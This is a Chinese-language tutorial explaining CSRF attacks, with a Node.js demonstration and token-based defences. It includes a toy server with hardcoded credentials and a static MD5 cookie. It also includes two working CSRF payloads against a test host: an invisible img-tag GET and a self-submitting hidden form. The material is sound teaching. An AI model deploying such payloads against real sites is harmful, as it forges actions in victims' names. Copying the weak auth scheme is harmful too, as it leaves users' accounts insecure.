网站地图    收藏   

主页 > 后端 > 网站安全 >

CSRF攻击原理以及nodejs的实现和防御 - 网站安全

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 一、简介 CSRF (Cross-site Request Forgery),中文名称:跨站伪造。危害是攻击者可以盗用你的身份,以你的名义发送恶意请求。比如可以盗取你的账号,以你的身份发送邮件,购买商品等。...

  一、简介
 
    CSRF (Cross-site Request Forgery),中文名称:跨站伪造。危害是攻击者可以盗用你的身份,以你的名义发送恶意请求。比如可以盗取你的账号,以你的身份发送邮件,购买商品等。
 
    二、原理
 
    具体的原理图如下:
   
 
    更加恐怖的是使用诸如img之类的标签,甚至不需要用户点击某个链接就可以发起攻击,比如B网站可以添加如下代码:
 
    <img src='http://www.company.com/action?k1=v1&k2=v2' width=0 height=0 />      这里width=0 height=0 表示图片是不可见的。这个语句会导致游览器向另外的服务器发送一个请求。游览器不管该图片url实际是否指向一张图片,只要src字段中规定了url,就会按照地址触发这个请求。(游览器默认都是没有禁止下载图片,这是因为禁用图片后大多数web程序的可用性就会打折扣)。加载图片根本不考虑所涉及的图像所在位置(可以跨域)。如果A网站不小心提供了get接口就非常不幸得中招了
 
        三、攻击
 
      《浅谈CSRF攻击方式》一文中已经用实例讲解了一个php的实现和防御方法,我这里主要是讲nodejs的实现和防御。为了简单起见,假设我们有一个应用,它提供了两个接口“/get/checkvalue”和 “'/post/setvalue”,它们都接受一个参数“value”来改变系统的一个某个值。 当然前提是用户已经正常登陆了。具体逻辑是它有一个用户登陆的过程,登陆成功后会将用户信息存到cookie中,之后就根据cookie来判断是否能正常访问,当然cookie信息经过md5加密。(真实应用中千万不要这么做,md5加密并不是非常安全)。
 
      服务主程序:
 
 
var app = http.createServer(function(req, res) {
  //权限判断
  authMiddle(req, res, function(err, checkValue){
    if (!checkValue) return res.end(html_login);
    //数据查询和操作
    controller(req, res);  
  });
});        用户权限判断逻辑:
 
 
var cookieValue = crypto.createHash('md5').update('jifeng_jifeng').digest('hex');function getCookie(headers){
  var cookies = {};
  headers.cookie && headers.cookie.split(';').forEach(function(cookie) {
    var parts = cookie.split('=');
    cookies[ parts[ 0 ].trim() ] = ( parts[ 1 ] || '' ).trim();
  });  
  return cookies;
}
 
function checkUser(req, res, callback){
  var chunks = [];
  var length = 0;
  var rows = null;
  req.on('data', function(data){
    chunks.push(data);
    length += data.length;
  }) 
  req.on('end', function(){
    var rows = new Buffer(length);
    var len = 0;
    for (var i = 0, il = chunks.length; i < il; i++) {
      chunks[i].copy(rows, len);
      len += chunks[i].length;
    }
    var args = querystring.parse(rows.toString());
    if (args && args.name === 'jifeng' && args.password ==='jifeng') {
      res.setHeader('Set-Cookie', ['cookie1987=' + cookieValue]);
      callback(null, true);   
    } else {
      callback(null, false);
    }
  }) 
}
function authMiddle(req, res, callback){
  var flag = false;
  var params = urllib.parse(req.url, true);
  if (params.pathname === '/checkuser') {
    return checkUser(req, res, callback);    
  } else {
    var headers = req.headers;
    var cookies = getCookie(headers);//得到用户cookie
    if (cookies && cookies.cookie1987) {
      var v = cookies.cookie1987;
      if (v == cookieValue) {
        flag = true;  
      }
    }
    callback(null, flag)
  }
}      那具体怎样进攻呢?
 
      get攻击的页面很简单。
 
<img src='http://test3.data.taobao.com:5678/get/check?func=get&value=10'>       post攻击的页面相对比较复杂
 
 
  <head>
    <title>post 测试页面</title>
    <script>
      function steal(){
        var mySubmit = document.getElementById('steal_form');
        mySubmit.submit();
      }
    </script>
  </head>
  <body onload='steal()'>
  <form id = "steal_form" method="POST" action="http://test3.data.taobao.com:5678/post/check">
    <input type="hidden" name="func" value="post">
   <input type="hidden" name="value" value="1000">
  </form>
  </body>     但这里强调一点:现在游览器(chrome,firfox)为了安全考虑,默认都做了一定的限制,form标签发送到其他网站的请求会被拦截,大家有兴趣模拟这种情况时需要注意这个问题。
 
     详细的代码:https://github.com/jifeng/toycode/tree/master/csrf
 
     四、防范
 
     访问csrf的措施虽然很多,但归根到底就是一条:在客户端提交请求时增加伪造随机数。
 
     nodejs中有些框架已经帮我们做了这件事,比如重用的connect
 
   它具体的实现:
 
http://www.2cto.com/Article/201211/166783.html
 
     举例:
 
     https://github.com/senchalabs/connect/blob/master/examples/csrf.js
 
    实现还是相对比较简单,有兴趣的同学可以再仔细看下。
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论